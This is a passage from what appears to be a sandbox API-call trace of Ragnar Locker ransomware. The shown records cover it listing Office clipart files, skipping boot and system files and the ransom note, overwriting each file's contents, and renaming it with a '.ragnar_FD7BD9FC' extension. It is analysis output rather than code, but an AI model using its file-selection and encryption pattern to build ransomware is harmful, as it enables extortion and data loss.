lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.754] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.754] GetProcessHeap () returned 0x580000 [0089.754] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.754] CloseHandle (hObject=0xf4) returned 1 [0089.754] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" [0089.754] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.ragnar_FD7BD9FC" [0089.754] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.755] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1 [0089.755] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.755] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02950_.WMF" | out: lpString1="PE02950_.WMF") returned="PE02950_.WMF" [0089.755] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF") returned=".WMF" [0089.755] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.755] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="autorun.inf") returned 1 [0089.755] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="boot.ini") returned 1 [0089.755] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="bootfont.bin") returned 1 [0089.755] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="bootsect.bak") returned 1 [0089.755] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="bootmgr") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="bootmgr.efi") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="desktop.ini") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="iconcache.db") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="ntldr") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="ntuser.dat") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="ntuser.ini") returned 1 [0089.756] lstrcmpiW (lpString1="PE02950_.WMF", lpString2="thumbs.db") returned -1 [0089.756] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.756] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.756] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.756] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.756] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.756] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.756] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf")) returned 0x20 [0089.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.757] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7466) returned 1 [0089.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.757] GetProcessHeap () returned 0x580000 [0089.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.757] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.758] VirtualAlloc (lpAddress=0x0, dwSize=0x1d2a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.758] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d2a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d2a, lpOverlapped=0x0) returned 1 [0089.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.759] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d2a, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.759] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d2a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d2a, lpOverlapped=0x0) returned 1 [0089.759] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d2a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.759] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.759] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.759] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.760] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.760] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.760] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.760] GetProcessHeap () returned 0x580000 [0089.760] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.760] CloseHandle (hObject=0xf4) returned 1 [0089.760] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" [0089.760] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.ragnar_FD7BD9FC" [0089.760] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.761] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1 [0089.761] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.761] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02957_.WMF" | out: lpString1="PE02957_.WMF") returned="PE02957_.WMF" [0089.761] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF") returned=".WMF" [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="autorun.inf") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="boot.ini") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="bootfont.bin") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="bootsect.bak") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="bootmgr") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="bootmgr.efi") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="desktop.ini") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="iconcache.db") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="ntldr") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="ntuser.dat") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="ntuser.ini") returned 1 [0089.761] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="thumbs.db") returned -1 [0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.761] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf")) returned 0x20 [0089.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.762] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3184) returned 1 [0089.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.762] GetProcessHeap () returned 0x580000 [0089.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.762] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.764] VirtualAlloc (lpAddress=0x0, dwSize=0xc70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.764] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc70, lpOverlapped=0x0) returned 1 [0089.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.764] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc70, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.764] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc70, lpOverlapped=0x0) returned 1 [0089.764] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.764] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.764] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.765] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.765] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.765] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.765] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.765] GetProcessHeap () returned 0x580000 [0089.765] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.765] CloseHandle (hObject=0xf4) returned 1 [0089.765] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" [0089.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.ragnar_FD7BD9FC" [0089.765] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.766] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1 [0089.766] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.766] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03236_.WMF" | out: lpString1="PE03236_.WMF") returned="PE03236_.WMF" [0089.766] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF") returned=".WMF" [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="autorun.inf") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="boot.ini") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="bootfont.bin") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="bootsect.bak") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="bootmgr") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="bootmgr.efi") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="desktop.ini") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="iconcache.db") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="ntldr") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="ntuser.dat") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="ntuser.ini") returned 1 [0089.766] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="thumbs.db") returned -1 [0089.766] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.766] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.766] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.766] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.766] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.766] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.766] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf")) returned 0x20 [0089.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.767] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1556) returned 1 [0089.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.767] GetProcessHeap () returned 0x580000 [0089.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.767] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.768] VirtualAlloc (lpAddress=0x0, dwSize=0x614, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.769] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x614, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x614, lpOverlapped=0x0) returned 1 [0089.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x614, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.769] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x614, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x614, lpOverlapped=0x0) returned 1 [0089.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x614, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.769] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.770] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.770] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.770] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.770] GetProcessHeap () returned 0x580000 [0089.770] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.770] CloseHandle (hObject=0xf4) returned 1 [0089.770] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" [0089.770] lstrcatW (in: lpString1="\\\\?\\C:\\Program 